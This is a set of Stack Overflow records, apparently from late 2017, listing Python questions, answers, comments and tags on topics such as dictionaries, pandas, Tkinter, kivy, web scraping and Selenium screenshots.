has text: You are a genius. Just figured out this takes advantage of [broadcasting](https://towardsdatascience.com/broadcasting-in-numpy-58856f926d73).
type: Comment
comment on: http://stackoverflow.com/a/74881909
score: 0
type: AnswerComment

http://stackoverflow.com/q/47224818
has body: If I have a text file of the following: Watermelon Carrot Spinach Lettuce Tomato Lemon How would I append the lines from Carrot to Tomato (inclusive) into an empty list? mylist = ['Carrot','Spinach','Lettuce','Tomato'] I've tried: mylist = [] for aline in file: aline = aline.rstrip('\n') if aline.startswith('Carrot') mylist.append(aline) Which obviously just appends 'Carrot' to the list but how can I make it keep appending till the stop point?
downvote count: 0
has title: How can I append lines of text from a file to a list in between two specific lines?
has comment: http://stackoverflow.com/comment/81400002
favorite count: 0
has answer: http://stackoverflow.com/a/47225094
type: Question
score: 3
has answer: http://stackoverflow.com/a/47225396
has answer: http://stackoverflow.com/a/47224912
has comment: http://stackoverflow.com/comment/81400853
tagged with: python
answer count: 3
upvote count: 3
type: UnansweredQuestion

timeit
tag name: timeit
tags question: http://stackoverflow.com/q/47379352
type: Tag

date
tags question: http://stackoverflow.com/q/47243635
tags question: http://stackoverflow.com/q/47322054
type: Tag
tags question: http://stackoverflow.com/q/47228807
tag name: date
tags question: http://stackoverflow.com/q/47369490
tags question: http://stackoverflow.com/q/47257050
tags question: http://stackoverflow.com/q/47278905
tags question: http://stackoverflow.com/q/47252060
tags question: http://stackoverflow.com/q/47256212
tags question: http://stackoverflow.com/q/47295894

http://stackoverflow.com/a/47309809
has body: Execute: sudo apt-get remove python3-matplotlib This will remove the version that is located in /usr/lib/python3/dist-packages/ according to your error log.
accepted answer of: http://stackoverflow.com/q/47308848
has comment: http://stackoverflow.com/comment/81570071
answers question: http://stackoverflow.com/q/47308848
has comment: http://stackoverflow.com/comment/81569943
type: Answer
has comment: http://stackoverflow.com/comment/81570138
score: 0
type: AcceptedAnswer

http://stackoverflow.com/q/47354364
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81663058
tagged with: python-3.5
type: UnansweredQuestion
tagged with: python
tagged with: cvxopt
has title: CVXOPT Module Python - DLL load failed: The specified module cannot be found
has comment: http://stackoverflow.com/comment/81662165
has comment: http://stackoverflow.com/comment/81663000
score: 0
has answer: http://stackoverflow.com/a/49616640
has comment: http://stackoverflow.com/comment/81661266
answer count: 1
has body: I'm unable to run this code. When I run this it gives me an error which, from what I understand it means that it is unable to import cvxopt.base module. If there is anyone who has encountered this error or knows the solution to this problem, please reach out. I'm sharing the code &amp; trace of Python interface below: The Code: #!/usr/bin/env python import numpy as np from numpy import linalg from cvxopt import solvers def Twin_plane_1(R,S,C1,Epsi1,regulz1): StS = np.dot(S.T,S) # for regularization we add identity matrix with wt. before inversion StS = StS + regulz1*(np.identity(StS.shape[0])) StSRt = linalg.solve(StS,R.T) RtStSRt = np.dot(R,StSRt) RtStSRt = (RtStSRt+(RtStSRt.T))/2 m2 = R.shape[0] e2 = -np.ones((m2,1)) solvers.options['show_progress'] = False vlb = np.zeros((m2,1)) vub = C1*(np.ones((m2,1))) # x&lt;=vub # x&gt;=vlb -&gt; -x&lt;=-vlb # cdx&lt;=vcd cd = np.vstack((np.identity(m2),-np.identity(m2))) vcd = np.vstack((vub,-vlb)) alpha = solvers.qp(matrix(RtStSRt,tc='d'),matrix(e2,tc='d'),matrix(cd,tc='d'),matrix(vcd,tc='d'))#,matrix(0.0,(1,m1)),matrix(0.0))#,None,matrix(x0)) alphasol = np.array(alpha['x']) z = -np.dot(StSRt,alphasol) w1 = z[:len(z)-1] b1 = z[len(z)-1] return [w1,b1] The Trace: Traceback (most recent call last): File "C:\Users\sau\Downloads\Twin-SVM-master\Twin-SVM-master\TwinPlane1.py", line 6, in from cvxopt import solvers File "C:\Python35\lib\site-packages\cvxopt__init__.py", line 50, in import cvxopt.base ImportError: DLL load failed: The specified module could not be found.
type: Question

http://stackoverflow.com/q/47344713
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/81641869
tagged with: javascript
has body: I am new to Javascript, python and php. I have a js program wherein I click a button, it calls a python program and receive the returned value to display on the screen. I am trying to avoid using Jquery and Json. Below is the code of both Javascript and Python. Javascript: Python: #!/usr/bin/python print "hello"; For the above code, the following is the output I am receiving (I see the entire python code rather than just hello) #!/usr/bin/python print "hello";
tagged with: python
has answer: http://stackoverflow.com/a/47345786
score: 0
has comment: http://stackoverflow.com/comment/81641622
has comment: http://stackoverflow.com/comment/81642781
answer count: 1
has title: Issue when python called from Javascript
type: Question
type: UnansweredQuestion

http://stackoverflow.com/q/47373619
has body: I am writing a program to create a dictionary in python were the key will be the lenghth of words and the value will be the words itself. So therefore, if i have say a word like "in" and "to", i expect the dictionary to print dict_value = {2:["in","to"]}. To further clarify my problem here is my code: string_value = "I ate a bowl of cereal out of a dog bowl today." remove_p = string_value.replace(".","") remove_c = remove_p.replace(",","") remove_q = remove_c.replace("?","") remove_e = remove_q.replace("!","") remove_a = remove_e.replace('\'',"") lowervalue = remove_a.lower() split_v = lowervalue.split() length = {} for i in split_v: length[len(i)] = [] length[len(i)].append(i) print length This is what my code is printing: {1: ['a'], 2: ['of'], 3: ['dog'], 4: ['bowl'], 5: ['today'], 6: ['cereal']} This is what i want it to print: {1: ['i', 'a', 'a'], 2: ['of', 'of'], 3: ['ate', 'out', 'dog'], 4: ['bowl', 'bowl'], 5: ['today'], 6: ['cereal']} So, if a word has the same length it should be printed under the same keys. Thanks for your help in advance. This question is about displaying words with the same length under one key and does not involve refactoring. I have reviewed similar questions but no perfect fit for mine. They are either too advanced or too basic
type: UnansweredQuestion
score: -2
has answer: http://stackoverflow.com/a/47373875
tagged with: python
tagged with: dictionary
linked to: http://stackoverflow.com/q/9358983
upvote count: 0
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/81699832
favorite count: 0
type: Question
has title: Other values not displaying in python dictionary
has comment: http://stackoverflow.com/comment/81699844
has answer: http://stackoverflow.com/a/47373662

http://stackoverflow.com/q/47341949
has answer: http://stackoverflow.com/a/47341979
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81637201
tagged with: python
tagged with: tuples
score: 0
has body: I wanted to extract data after parsing, but keep getting An error occurred: list indices must be integers or slices, not tuple. over here I am parsing the data: content_list = json.loads(content) Then I need to extract few information. The data variable should define a list of tuples where each tuple defines a concept and its score. Example: ('health', 1.2) data = content_list[('concept','score')] What am I doing wrong?
tagged with: http://stackoverflow.com/tag/json
answer count: 1
upvote count: 1
has title: List of tuples for json
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81636107

http://stackoverflow.com/comment/82195776
type: QuestionComment
type: Comment
score: 0
has text: @ErroriSalvo data isn't that big, but it's rather computation that are expensive
comment on: http://stackoverflow.com/q/47380082

http://stackoverflow.com/comment/81580754
type: QuestionComment
comment on: http://stackoverflow.com/q/47305744
score: 0
has text: Unless you properly pad the arguments, convolution using the FFT does *[circular convolution](https://en.wikipedia.org/wiki/Circular_convolution)*. See, for example, [this question](https://stackoverflow.com/questions/28468307/scipy-ndimage-filters-convolve-and-multiplying-fourier-transforms-give-different).
type: Comment

http://stackoverflow.com/comment/81647266
comment on: http://stackoverflow.com/a/47345156
score: 0
type: Comment
type: AnswerComment
has text: @smvpfm i gave you answer on data which you provided to me. give me sample data of your actual data so i can look the issue.

http://stackoverflow.com/q/47294396
tagged with: python
favorite count: 0
type: Question
score: 2
upvote count: 2
has title: How to disable atuo repeat for specific keyboard on linux, preferably from python
answer count: 0
downvote count: 0
type: UnansweredQuestion
tagged with: evdev
tagged with: keyboard
tagged with: linux
has body: I am using the excellent Python-evdev library for a utility that remaps keys in a certain way, similar to at-home-modifier. In the process, I am grabbing all my physical keyboards and pipe the keys to a virtual keyboard. If possible, I would like to disable auto repeat for all grabbed keyboards, but not globally for the whole X server. What I have so far is a hack, just setting the auto repeat delay to something very large, e.g. import evdev dev = evdev.InputDevice('/dev/input/event5') # Insert your keyboard device here dev.grab() dev.repeat = evdev.device.KbdInfo(repeat = 300, delay = 600000) print(dev.repeat) dev.ungrab() Funnily enough, this sets the repeat to 500 instead of 300. I tried setting the delay to 0 or -1, but this is just getting ignored. Is there any way at all to completely disable the auto-repeat, maybe using different tools?

http://stackoverflow.com/comment/81665773
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47356402
has text: You would need to separate values by whitespace so you can grab each value

http://stackoverflow.com/q/47381241
has comment: http://stackoverflow.com/comment/81716685
has answer: http://stackoverflow.com/a/47382164
accepted answer: http://stackoverflow.com/a/47382164
downvote count: 1
tagged with: range
has comment: http://stackoverflow.com/comment/81715795
has title: Base multiplier
tagged with: python
has comment: http://stackoverflow.com/comment/81716816
has comment: http://stackoverflow.com/comment/81716547
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81716805
tagged with: multiplication
answer count: 1
has comment: http://stackoverflow.com/comment/81716856
upvote count: 1
has comment: http://stackoverflow.com/comment/81716850
has body: Hello I'm having some trouble with my code to multiply a number to any base from 2 to 9. I have looked online but nothing has the answer I'm looking for. The code I have right now is: def conver(n,b): for i in range (b): x = b**i What I'm wondering is how do I get b to get multiplied by all the values of i, also I know that I'm supposed to incorporate these pieces of code too, but I am not sure how: n//b + n%b
favorite count: 0
type: Question
tagged with: radix

http://stackoverflow.com/q/47309471
has body: Is there a way to include optional parameters into Python dictionary? For example, I have the following return statements for get requests. They are dependent on the input and mostly identical. If the region is passed as an input parameter, we have: if region: return { 'success': True, 'result': { 'country': country, 'region': region, # optional region param 'cities': cities } } If the city is passed: if city: return { 'success': True, 'result': { 'country': country, 'city': city, # optional city param 'cities': cities } } If nor city or region are passed: return { 'success': True, 'result': { 'country': country, 'cities': cities } } What I want is to have one return statement: return { 'success': True, 'result': { 'country': country, if region: 'region': region, # I know this and the next lines don't work if city: 'city': city, 'cities': cities } }
accepted answer: http://stackoverflow.com/a/47309601
upvote count: 0
has answer: http://stackoverflow.com/a/47309601
possible better answer: http://stackoverflow.com/a/47309707
has comment: http://stackoverflow.com/comment/81569326
tagged with: python
score: -1
tagged with: dictionary
has answer: http://stackoverflow.com/a/47309707
type: AnsweredQuestion
answer count: 2
has title: Optional parameters in python dict
downvote count: 1
linked to: http://stackoverflow.com/q/2544710
favorite count: 0
type: Question

http://stackoverflow.com/comment/81567763
comment on: http://stackoverflow.com/q/47307441
has text: Is speed a tight issue for the solution?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81493778
has text: Hard to say without seeing the data. It's impossible to reproduce your results from your current code snippet.
type: Comment
comment on: http://stackoverflow.com/q/47271214
score: 0
type: QuestionComment

http://stackoverflow.com/q/47274001
upvote count: 1
has body: I created a class, it has some initial variable like coefficient and error. And in my method, I have a for loop to calculate something, in each run, I will get a number which is named as error. And in each run, I got a error and also have a coefficient number. What I want to do is, at the first run, I can get a error and a coefficient set. At the second run, I will compare error with the previous error, if it is smaller than previous one, then, update error to the smaller error, and also update the coefficient. Else, keep the previous error and coefficient. class getMinError(): def __init__(self): self.error = 0 self.ce1 = 0 self.ce2 = 0 def process(self): for i in range(any number): run to get error, ce1,and ce2 save the first run's result to self.error, self.ce1,and self.ce2 or just save it without update to the initial variables. compare in the next loops, and update only when error is smaller than previous ones.
has comment: http://stackoverflow.com/comment/81499297
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81500993
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47274162
score: -1
has comment: http://stackoverflow.com/comment/81503678
has answer: http://stackoverflow.com/a/47279450
has title: how to compare results in for-loop in python
downvote count: 2
answer count: 2
tagged with: for-loop

http://stackoverflow.com/a/47342777
type: AcceptedAnswer
has body: Method 2 is correct. You can verify it by running the following simple example code. Here, My bacth_size =2 and instead of 300 I just used 9. #Method1 input1 = np.array([[1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3], [1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3]]) print(input1.shape) # prints (2, 3*9) out1 = tf.reshape(input1, shape=[-1, 9, 3]) #Method2 input2 = np.array([[1, 1, 1, 2, 2, 2, 3, 3, 3, 1, 1, 1, 2, 2, 2, 3, 3, 3, 1, 1, 1, 2, 2, 2, 3, 3, 3], [1, 1, 1, 2, 2, 2, 3, 3, 3, 1, 1, 1, 2, 2, 2, 3, 3, 3, 1, 1, 1, 2, 2, 2, 3, 3, 3]]) print(input2.shape) # prints (2, 3*9) out2 = tf.reshape(input2, shape=[-1, 9, 3]) sess = tf.Session() with sess.as_default(): print(out1.eval()) # runs out1 print(out2.eval()) # runs out2 Therefore, the input (batch_size=2, width=9, num_channels=3) to the tf.layers.conv1d should have the following shape. [[[x y z] [x y z] [x y z] [x y z] [x y z] [x y z] [x y z] [x y z] [x y z]] [[x y z] [x y z] [x y z] [x y z] [x y z] [x y z] [x y z] [x y z] [x y z]]]
has comment: http://stackoverflow.com/comment/81649033
accepted answer of: http://stackoverflow.com/q/47335167
score: 1
has comment: http://stackoverflow.com/comment/81648953
type: Answer
answers question: http://stackoverflow.com/q/47335167
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47281621
tagged with: python
possible better answer: http://stackoverflow.com/a/47283831
tagged with: regex
type: Question
has comment: http://stackoverflow.com/comment/81514106
answer count: 3
has answer: http://stackoverflow.com/a/47283546
downvote count: 0
has comment: http://stackoverflow.com/comment/81513875
has comment: http://stackoverflow.com/comment/81514197
score: 1
upvote count: 1
has title: Select Price value only from td in python
has body: I am trying to capture just price value from html td tag but the problem is there are other td with same class name: please see the picture below. enter image description here here is the code i have written from builtins import any as b_any from urllib.parse import urlparse from urllib.parse import urljoin from collections import Counter import urllib.request import csv import schedule import time import re from bs4 import BeautifulSoup url="http://offer.ebay.es/ws/eBayISAPI.dll?ViewBidsLogin&amp;item=122713288532&amp;rt=nc&amp;_trksid=p2047675.l2564" req = urllib.request.Request(url, headers={'User-agent': 'Mozilla/5.0'}) htmlpage = urllib.request.urlopen(req) html = htmlpage.read().decode('utf-8') soup = BeautifulSoup(html,"html.parser") table = soup.find_all('td',{'class':'onheadNav'}) '''for txt in table: nametxt = txt.text result = ''.join([i for i in nametxt if not i.isdigit()]) cleantxt = result.replace('(','') print(cleantxt.replace(')','')) rank = txt.a.text print(rank)''' price = soup.select('td.contentValueFont') for pr in price: print(pr.text) If i slice price in for loop it will get only first price but i want to have all prices at once. Edited description: I want to capture all prices but problem is there are three td with same class name one td is for price one for Cantidad(quantity) and the one which is for date these all have same class. and when i try to get only price section my code returns all three td's. I hope you get it now
favorite count: 0
has answer: http://stackoverflow.com/a/47283831
tagged with: beautifulsoup
has comment: http://stackoverflow.com/comment/81513717
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/47282413
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47282413
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/81625740
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47336689
has text: @user2357112: that's not the loop ending. That's the generator not being consumed until the end. Yes, `contextlib.closing()` could help there.
type: Comment

http://stackoverflow.com/q/47376033
has body: Given a dataframe with a boolean columns, what would be the most efficient way to calculate the ratio of the boolean value? Example: df = pd.DataFrame.from_dict({'Group': ['A', 'A', 'A', 'A', 'B', 'B','B'], 'Val': [True, True, False, False, True, False, False]}) Group Val 0 A True 1 A True 2 A False 3 A False 4 B True 5 B False 6 B False I am looking to get a dataframe which will look like this Group Ratio 0 A 0.5 1 B 0.33333333
duplicate of: http://stackoverflow.com/q/30311211
has title: Pandas groupby, get ratio of boolean variable
linked to: http://stackoverflow.com/q/30311211
favorite count: 0
type: Question
upvote count: 4
type: UnansweredQuestion
downvote count: 0
tagged with: python
score: 4
answer count: 0
tagged with: pandas

http://stackoverflow.com/q/47306956
type: Question
linked to: http://stackoverflow.com/q/30489308
accepted answer: http://stackoverflow.com/a/47307314
tagged with: tkinter
has answer: http://stackoverflow.com/a/47307314
tagged with: python
tagged with: inheritance
has comment: http://stackoverflow.com/comment/81565992
type: AnsweredQuestion
score: 2
tagged with: python-2.7
has title: Inheritance from Tkinter Frame in varying implementations
has body: I'm fairly new to python and try to build a simple GUI following an object oriented approach. Therefor I let my widget classes inherit from tk.Frame and create an application controller to build the GUI. My application contains the following two files: mainModule.py # coding: utf8 from testPackage import myGUI import Tkinter as tk root = tk.Tk() # Main window my_gui = myGUI.MainApplication(root) root.mainloop() # Hold window open until we close it myGUI.py # coding: utf8 import Tkinter as tk # Application initializer class MainApplication(tk.Frame): def __init__(self, master): self.master = master tk.Frame.__init__(self, master) self.configure_gui() self.pack() # &lt;--- CODE IN QUESTION self.create_widgets() def configure_gui(self): self.master.title("Any title") self.master.geometry('800x600') self.master.minsize(600, 100) def create_widgets(self): self.main_window = MainWindow(self) self.main_window.pack() # Main Data Window class MainWindow(tk.Frame): def __init__(self, master): self.master = master tk.Frame.__init__(self, master) self.main_window = tk.Label(self, text="This is a test") self.main_window.pack(side="top", fill="x") Initially running my code without self.pack() (marked as #Code in question) in the MainApplication class definition gave me only the root basic window without the Label created from MainWindow class. As simple as the answer may be but why? I used a few sources to get into the topic inbefore and some of them didn't use any geometry manager on the root window (or i'm to inexpierienced to see it. Source below for examples). Source: https://www.begueradj.com/tkinter-best-practices.html http://python-textbok.readthedocs.io/en/latest/Introduction_to_GUI_Programming.html#putting-it-all-together Tkinter example code for multiple windows, why won&#39;t buttons load correctly? Only after reading following answers regarding widget creation I came aware of the missing part: Best way to structure a tkinter application creating a custom widget in tki…
upvote count: 3
has comment: http://stackoverflow.com/comment/81564531
answer count: 1
linked to: http://stackoverflow.com/q/17466561
linked to: http://stackoverflow.com/q/16115378
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81457072
score: 0
has text: if i add that f in front of the string then im getting syntax error like : File "<ipython-input-235-949f46741ae8>", line 1 url = 'https://maker.ifttt.com/trigger/Custom Newsfeed/with/key/nYmoaoROeu6Mf2SrBOgUg?f'value1={s}' ^ SyntaxError: invalid syntax
type: Comment
comment on: http://stackoverflow.com/a/47253179
type: AnswerComment

http://stackoverflow.com/q/47251853
tagged with: python
score: 2
has title: Why is this code playing up (on python)?
downvote count: 0
answer count: 1
has body: I wanted to make an average calculator that calculates the average of all the numbers you put in together but the final answer isn't correct and gives me some weird number. print ("This is the average calculator. Would you like to continue? y/n") rep=input() rep= str (rep) y1 = "y" n1 = "n" if rep == y1: print ("Okay") print ("How many times do you want to input numbers?") times=input() times=int(times) for x in range (0, times): print ("Enter numbers") nums=input() nums=int(nums) print (nums / times) elif rep == n1: print ("Too bad... bye!")
tagged with: average
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81453905
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47251883

http://stackoverflow.com/comment/81525418
comment on: http://stackoverflow.com/q/47287630
type: QuestionComment
has text: Are the errors in your sequence deliberate? You have `"21"` twice, you are testing `dog_input[1]`, `dog_input[2]` and `dog_input[3]` seemingly randomly, and are ignoring the `i` in your `for` loop.
score: 1
type: Comment

http://stackoverflow.com/comment/81656311
comment on: http://stackoverflow.com/a/47352144
score: 0
type: AnswerComment
has text: "You should use // for int division and % for the remainder" <- Or the builtin function `divmod`.
type: Comment

http://stackoverflow.com/q/47245156
has body: I am doing 8by8 block dct conversion through python. There's error like the following error message: AttributeError: 'Image' object has no attribute 'T' here are some part of my code: from scipy.fftpack import dct from PIL import Image import glob def dct_2(img): #Get 2D Cosine Transform of Image return dct(dct(img.T, norm='ortho').T, norm='ortho') images = image_open(path) for i in range(0, len(images)): box3 = (1,1,256,256) a = images[i].crop(box3) width , height = a.size (y,cb,cr) = a.split() for q in range(1, height-32 , 32): for w in range(1 , width-32 ,32): box1 =(q,w,q+63,w+63) block = y.crop(box1) for j in range(1,64,8): for n in range(1,64,8): box2 = (j,n,j+7,n+7) temp = block.crop(box2) dct_temp = dct_2(temp)
has title: attribute error : Image object has no attribute T
accepted answer: http://stackoverflow.com/a/47245227
tagged with: python
has answer: http://stackoverflow.com/a/47245227
type: AnsweredQuestion
score: 0
tagged with: attributeerror
answer count: 1
type: Question

http://stackoverflow.com/q/47329474
score: 0
answer count: 2
has title: how to make element check code simpler or one-liner in python?
has comment: http://stackoverflow.com/comment/81609802
type: Question
has body: I wanna make simple condition to check whether element 'a' in A and element 'b' in B has a some characteristic. the below code operates well, it looks dirty, so, I wanna make it simpler, or one-liner. are there any way to do that? def check_direction(A, B): for a in A: for b in B: if c_matrix.loc()[a][b]!="-&gt;": return False return True
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81610328
tagged with: conditional-statements
possible better answer: http://stackoverflow.com/a/47330411
has comment: http://stackoverflow.com/comment/81609774
tagged with: if-statement
has comment: http://stackoverflow.com/comment/81609790
accepted answer: http://stackoverflow.com/a/47329669
has answer: http://stackoverflow.com/a/47330411
tagged with: python
has answer: http://stackoverflow.com/a/47329669
has comment: http://stackoverflow.com/comment/81609838
has comment: http://stackoverflow.com/comment/81609673

http://stackoverflow.com/comment/118396965
type: Comment
type: AnswerComment
score: 0
has text: Any update on this? I've set my python path: "python.pythonPath": "env/bin/python" in settings.json, but I'm still getting strange lint errors that aren't actual problems, I think the path still might not be setup properly
comment on: http://stackoverflow.com/a/47643492

http://stackoverflow.com/comment/81665857
type: Comment
comment on: http://stackoverflow.com/q/47356539
type: QuestionComment
has text: They both work but not at the same time, if i press Down and then Up, it forgets the first one that is still pressed. I wanna my code execute the both functions if i press the two keys. An exemple : Flèche haut Flèche bas Flèche bas Flèche bas Flèche bas Flèche bas Flèche bas
score: 0

http://stackoverflow.com/comment/81557924
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47293697
type: Comment
has text: Please see the indentation, you can solve that yourself. There is some spacing problem somewhere.

http://stackoverflow.com/comment/81574320
comment on: http://stackoverflow.com/a/47311751
score: 0
type: Comment
type: AnswerComment
has text: That isn't working. It says that the stats went missing.

http://stackoverflow.com/comment/111073538
type: AnswerComment
comment on: http://stackoverflow.com/a/55086010
score: 2
type: Comment
has text: This one was missing for me `sudo apt-get install libpq-dev`. After installing this package I was able to `pip install psycopg2`

http://stackoverflow.com/comment/81629340
score: 0
comment on: http://stackoverflow.com/q/47338547
has text: @Jean-FrançoisFabre So just to clarify, at each iteration, it is doing a O(n) operation to get to element[i]? Even though it is essentially a doubly linked list and each movement to the left or right could be O(1)?
type: QuestionComment
type: Comment

rauth
tag name: rauth
tags question: http://stackoverflow.com/q/47279862
type: Tag

http://stackoverflow.com/comment/81542903
type: QuestionComment
has text: add a line "global varGlobal" just under the prepare function definition
comment on: http://stackoverflow.com/q/47295838
score: 1
type: Comment

heap-memory
tag name: heap-memory
type: Tag
tags question: http://stackoverflow.com/q/47253169

http://stackoverflow.com/comment/81672105
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47344968
type: Comment
has text: I have tried it, and it seems to be working now, thank you very much!

http://stackoverflow.com/a/47342737
score: 1
has body: You're misusing input. The argument passed to it is merely the prompt presented, and thus can only be a single string. player = input("Rock, Paper, Scissors?") Is probably more like what you want.
downvote count: 0
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/81637952
has comment: http://stackoverflow.com/comment/81637827
answers question: http://stackoverflow.com/q/47342720

http://stackoverflow.com/q/47250357
has comment: http://stackoverflow.com/comment/81454003
has comment: http://stackoverflow.com/comment/81451524
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81458362
downvote count: 0
has comment: http://stackoverflow.com/comment/81454890
has answer: http://stackoverflow.com/a/47257662
answer count: 1
has comment: http://stackoverflow.com/comment/81458342
favorite count: 0
type: Question
has title: kivy: why cannot I change the color of my rectangle?
score: 5
upvote count: 5
accepted answer: http://stackoverflow.com/a/47257662
tagged with: python
tagged with: kivy
has body: Here is a method that is supposed to draw the canvas of a label: def update_canvas(self): c = self.canvas.after c.clear() with c: Color([1, 1, 1, 1]) Line(points=[self.point_from, self.point_to]) if self.texture: Color([1, 0, 0, 1]) # RED RECTANGLE! Rectangle(pos=self.pos, size=self.size) Color([1, 1, 1, 1]) Rectangle(pos=self.pos, texture=self.texture, size=self.texture.size) The label used as a tooltip which also has a line pointing to the tooltipped item. The above version produces this output: If I comment out the Rectangle instruction after the RED COLOR line, this is displayed: Please note that the text's label is rendered twice, because I have also added a Rectangle(texture=self.texture) instruction, but that is for testing only. The Label itself is added to the window with this simple call: Windows.add_widget(label) The question is this: why is my rectangle not red? (Actually I want it to be half transparent.)

http://stackoverflow.com/a/47447133
accepted answer of: http://stackoverflow.com/q/47335778
answers question: http://stackoverflow.com/q/47335778
type: AcceptedAnswer
downvote count: 0
has body: Got the solution from the IBM developer works here is the link just replace features=[ Features.Entities( emotion=True, sentiment=True, limit=2 ), Features.Keywords( emotion=True, sentiment=True, limit=2 ) ] with : features=Features(entities=EntitiesOptions( emotion=True, sentiment=True,limit=2), keywords=KeywordsOptions( emotion=True, sentiment=True,limit=2 )) this is due to the changes done in v 1 python sdk Here is the link showing the changes made in v 1 python sdk
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/a/47366040
score: 1
has comment: http://stackoverflow.com/comment/82155662
accepted answer of: http://stackoverflow.com/q/47365816
has comment: http://stackoverflow.com/comment/82148354
type: Answer
answers question: http://stackoverflow.com/q/47365816
has comment: http://stackoverflow.com/comment/82148297
has comment: http://stackoverflow.com/comment/82155863
has comment: http://stackoverflow.com/comment/82149687
has comment: http://stackoverflow.com/comment/82151080
has comment: http://stackoverflow.com/comment/81687948
has body: If I understand correctly, you want to group your records by time_to_maturity, so why not use itertools.groupby? This requires you to sort but to be able to integrate you have to sort anyway, so I guess that's ok. import itertools as it import operator as op data, = ('P', 0.3178082191780822, 1750.0, 12.5), ('C', 0.8191780821917808, 1800.0, 332.80000000000001), ('P', 0.3178082191780822, 1325.0, 1.95), ('P', 0.14520547945205478, 1550.0, 1.0), ('C', 1.8136986301369864, 1900.0, 305.56999999999999), ('P', 0.3178082191780822, 1700.0, 9.9000000000000004), ('P', 0.14520547945205478, 2010.0, 18.949999999999999) # sort records ignoring 0th column ds = sorted(data, key=op.itemgetter(slice(1, None))) # group by 1st column gr = it.groupby(ds, op.itemgetter(1)) # cut the first two entries from each record in each group # the 1st entry is redundant with key, and the 0th I don't know what # it's good for. To retain it use vi[:1] + vi[2:] instead of just vi[2:] gr = [(k, [vi[2:] for vi in v]) for k, v in gr] print(gr) Prints: [(0.14520547945205478, [(1550.0, 1.0), (2010.0, 18.95)]), (0.3178082191780822, [(1325.0, 1.95), (1700.0, 9.9), (1750.0, 12.5)]), (0.8191780821917808, [(1800.0, 332.8)]), (1.8136986301369864, [(1900.0, 305.57)])] Note that as it stands this drops the 'P'/'C' column. But this can be easily remedied should you require to retain it, see comment in code.
has comment: http://stackoverflow.com/comment/82152349
has comment: http://stackoverflow.com/comment/82148520
has comment: http://stackoverflow.com/comment/82155940
has comment: http://stackoverflow.com/comment/82147200
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/82148750
upvote count: 1

http://stackoverflow.com/a/47302467
accepted answer of: http://stackoverflow.com/q/47302370
type: AcceptedAnswer
downvote count: 0
has body: As your error show: TypeError __str__ returned non-string (type User) The __str__ method should return a str, and here, you are returning an object (User). You should return return self.user.__str__ instead (The str representation of the user).
score: 5
upvote count: 5
type: Answer
answers question: http://stackoverflow.com/q/47302370

http://stackoverflow.com/q/47332482
has title: How to save the screenshot in particular folder using python
has body: I have written the below script for taking a screenshot. Currently, it saves the file in the same directory as the python file is located. I want to save the screenshot in a particular folder. from selenium import webdriver import option import time #PhantomJS driver = webdriver.PhantomJS(executable_path=r'D:\PhantomJS\phantomjs-2.1.1- windows\bin\phantomjs.exe') #Selenium #driver = webdriver.Chrome("D:\Selenium\Chrome\chromedriver.exe") #Maximizes window to full screen driver.maximize_window() #Gets the URL for OMS driver.get(option.OMS_QUERY) #Gets the username &amp; Password driver.find_element_by_xpath(option.LOG_IN).click() driver.find_element_by_id("username").send_keys(option.USERNAME) driver.find_element_by_xpath(option.ENTER).click() time.sleep(3) driver.find_element_by_id("password").send_keys(option.PASSWORD) driver.find_element_by_xpath(option.ENTER).click() time.sleep(15) #Saves the screenshot for OMS_SWR driver.save_screenshot('oms_swr.png') #Gets the URL for DMS driver.get(option.DMS_QUERY) time.sleep(15) #Saves the screenshot for DMS_SWR driver.save_screenshot('dms_swr.png') driver.quit()
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47348468
tagged with: python
has answer: http://stackoverflow.com/a/47334600
has comment: http://stackoverflow.com/comment/81617203
has answer: http://stackoverflow.com/a/69666099
score: 0
has comment: http://stackoverflow.com/comment/81615880
answer count: 3
has comment: http://stackoverflow.com/comment/81617174
tagged with: selenium

http://stackoverflow.com/comment/81649781
type: QuestionComment
comment on: http://stackoverflow.com/q/47348786
has text: @mrCarnivore, tested to add the \ to break the line in `.pylintrc`. It makes the file invalid.
score: 1
type: Comment

http://stackoverflow.com/comment/81646912
score: 0
type: Comment
type: AnswerComment
has text: Added some indenting. Note that it won't match the input _json_ from the question **exactly** ("records" like: `[ {`, `}, {`, `} ]`).
comment on: http://stackoverflow.com/a/47345818

http://stackoverflow.com/comment/81444599
comment on: http://stackoverflow.com/q/47247134
type: QuestionComment
has text: Bear in mind that strings are immutable and cannot be changed, whereas list objects _are_ mutable. In your 1st example, you make `new[0]` the same list object as `old[0]`, it's not a copy. In the 2nd example, The `new[0]` list is a separate list object that just happens to have the same value as the `old[0]` list object.
score: 0
type: Comment

http://stackoverflow.com/comment/81458599
